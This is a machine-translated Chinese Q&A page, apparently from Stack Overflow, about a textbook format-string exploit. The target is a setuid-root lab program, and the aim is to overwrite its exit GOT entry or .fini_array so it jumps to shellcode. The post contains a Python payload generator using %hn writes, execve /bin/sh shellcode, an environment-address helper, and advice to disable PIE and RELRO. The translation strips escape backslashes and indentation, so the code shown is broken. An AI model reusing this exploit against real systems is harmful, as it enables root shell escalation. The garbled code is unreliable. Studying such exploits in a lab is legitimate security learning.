c-如何禁用relro来覆盖fini_array或got.plt元素



我正在读《黑客:利用的艺术》一书,其中有一个格式字符串利用示例,试图覆盖dtor的地址带有外壳代码环境变量的地址。我在Kali Linux 64位上工作,已经发现没有dtor(c程序的析构函数(,所以现在我试图覆盖".got.plt"中的fini_array或出口地址(我认为这也适用于部分relro。所以无法写入got.plt是我寻求帮助的最大问题(。

我已经验证了该漏洞是否将正确的地址写入给定的地址,但当我使用fini_array或got.plt地址运行它时,我会收到SIGSEV或"非法指令"错误。读过这篇文章后,我认为问题是部分relro不允许我覆盖fini_array,因为它使fini_array和许多其他数组成为只读的。这是我用来利用漏洞程序的python程序:

import struct
import sys
num = 0
num1 = 0
num2 = 0
num3 = 0
test_val = 0
if len(sys.argv) > 1:
num = int(sys.argv[1], 0)
if len(sys.argv) > 2:
test_val = int(sys.argv[2], 0)
if len(sys.argv) > 3:
num1 = int(sys.argv[3], 0)# - num
if len(sys.argv) > 4:
num2 = int(sys.argv[4], 0)# - num1 - num
if len(sys.argv) > 5:
num3 = int(sys.argv[5], 0)# - num2 - num1 - num
addr1 = test_val+2
addr2 = test_val+4
addr3 = test_val+6

vals = sorted(((num, test_val), (num1, addr1), (num2, addr2), (num3, addr3)))
def pad(s):
return s+"X"*(1024-len(s)-32)
exploit = ""
prev_val = 0
for val, addr in vals:
if not val:
continue
val_here = val - prev_val
prev_val = val
exploit += "%{}x".format(val_here)
if addr == test_val:
exploit += "%132$hn"
elif addr == addr1:
exploit += "%133$hn"
elif addr == addr2:
exploit += "%134$hn"
elif addr == addr3:
exploit += "%135$hn"
exploit = pad(exploit)
exploit += struct.pack("Q", test_val)
exploit += struct.pack("Q", addr1)
exploit += struct.pack("Q", addr2)
exploit += struct.pack("Q", addr3)
print pad(exploit)

当我传递shell代码环境变量的地址和使用获得的fini_array的地址时

objdump -s -j .fini_array ./vuln

我只是得了SegmentationFault。

同样奇怪的是,当我试图覆盖.got.plt部分中的一个地址时,也会发生这种情况,而这个地址实际上不应该受到部分relro的影响,这意味着我应该能够写入它,但实际上我不能。此外,"ld--verbose./vuln"显示了以下内容:

.dynamic        : { *(.dynamic) }
.got            : { *(.got) *(.igot) }
. = DATA_SEGMENT_RELRO_END (SIZEOF (.got.plt) >= 24 ? 24 : 0, .);
.got.plt        : { *(.got.plt) *(.igot.plt) }

这证明了.got.plt不应该是只读的,但为什么我不能写它呢?

现在我的问题是,我可以使用哪种变通方法(也许是一些gcc选项(来解决我的问题。即使实际上不可能覆盖.fini_array,为什么我在.got.plt中也有同样的问题,我该如何解决?我认为.got.plt部分的问题可能是因为我无法执行shell代码,因为它是缓冲区的一部分。那么,有没有任何gcc选项可以使缓冲区可执行?

这是vuln.c:

include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
fgets(text, sizeof(text), stdin);
printf("The right way to print user-controlled input:n");
printf("%sn", text);
printf("The wrong way to print user-controlled input:n");
printf(text);
printf("n");
printf("[*] test_val @ %p = %d 0x%08xn", &test_val, test_val, test_val);
exit(0);
}

我用gcc 9.2.1编译vuln.c,如下所示:

gcc -g -o vuln vuln.c
sudo chown root:root ./vuln
sudo chmod u+s ./vuln

这是外壳代码:

x48xbbx2fx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x50x57x48x89xe6xb0x3bx0fx05

我通过将上面的十六进制复制到input.txt中,将其作为二进制文件导出到SHELLCODE变量中。然后运行:

xxd -r -p input.txt output.bin

现在导出:

export SHELLCODE=$(cat output.bin)

脚本getenv.c用于获取Shellcode的地址:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[]) {
char *ptr;
if (argc < 3) {
printf("Usage: %s <environment var> <target program name>n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
printf("%s will be at %pn", argv[1], ptr);
return 0;
}

要使用它,请运行:

./getenvaddr SHELLCODE ./vuln

这告诉您在执行vulon程序时SHELLCODE变量将具有哪个地址。最后,我在全局偏移量表中找到退出函数的地址:

objdump -R ./vuln
DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE 
0000000000003de8 R_X86_64_RELATIVE  *ABS*+0x0000000000001170
0000000000003df0 R_X86_64_RELATIVE  *ABS*+0x0000000000001130
0000000000004048 R_X86_64_RELATIVE  *ABS*+0x0000000000004048
0000000000003fd8 R_X86_64_GLOB_DAT  _ITM_deregisterTMCloneTable
0000000000003fe0 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.2.5
0000000000003fe8 R_X86_64_GLOB_DAT  __gmon_start__
0000000000003ff0 R_X86_64_GLOB_DAT  _ITM_registerTMCloneTable
0000000000003ff8 R_X86_64_GLOB_DAT  __cxa_finalize@GLIBC_2.2.5
0000000000004060 R_X86_64_COPY     stdin@@GLIBC_2.2.5
0000000000004018 R_X86_64_JUMP_SLOT  putchar@GLIBC_2.2.5
0000000000004020 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
0000000000004028 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5
0000000000004030 R_X86_64_JUMP_SLOT  fgets@GLIBC_2.2.5
0000000000004038 R_X86_64_JUMP_SLOT  exit@GLIBC_2.2.5

这里的出口地址是0x4038

现在我把shell代码的地址写为出口函数0x4038的地址,比如0x7fffffffe5e5,这样程序就应该重定向到shell中,而不是像这样退出:

python pyscript.py 0xe5e5 0x4038 0xffff 0x7fff | ./vuln

这就是基本原理:

python pyscript.py first_to_bytes_of_shellcode exit_address second_to_bytes_of_shellcode third_to_bytes_of_shellcode optional_fourth_to_bytes_of_shellcode | ./vuln

搬迁和低地址,如以下地址:

0000000000003de8 R_X86_64_RELATIVE  *ABS*+0x0000000000001170

建议可执行文件已构建为PIE(位置独立可执行文件(,具有全地址空间布局随机化(ASLR(。这意味着地址与objdump的静态视图不匹配,并且在每次运行时都被禁用。

通常,使用gcc -no-pie进行构建会禁用ASLR。如果使用gcc -no-pie -Wl,-z,norelro,也将禁用(部分(RELRO。

也许,您可以使用"-Wl,-z,norelro"来禁用RELRO。

相关内容

最新更新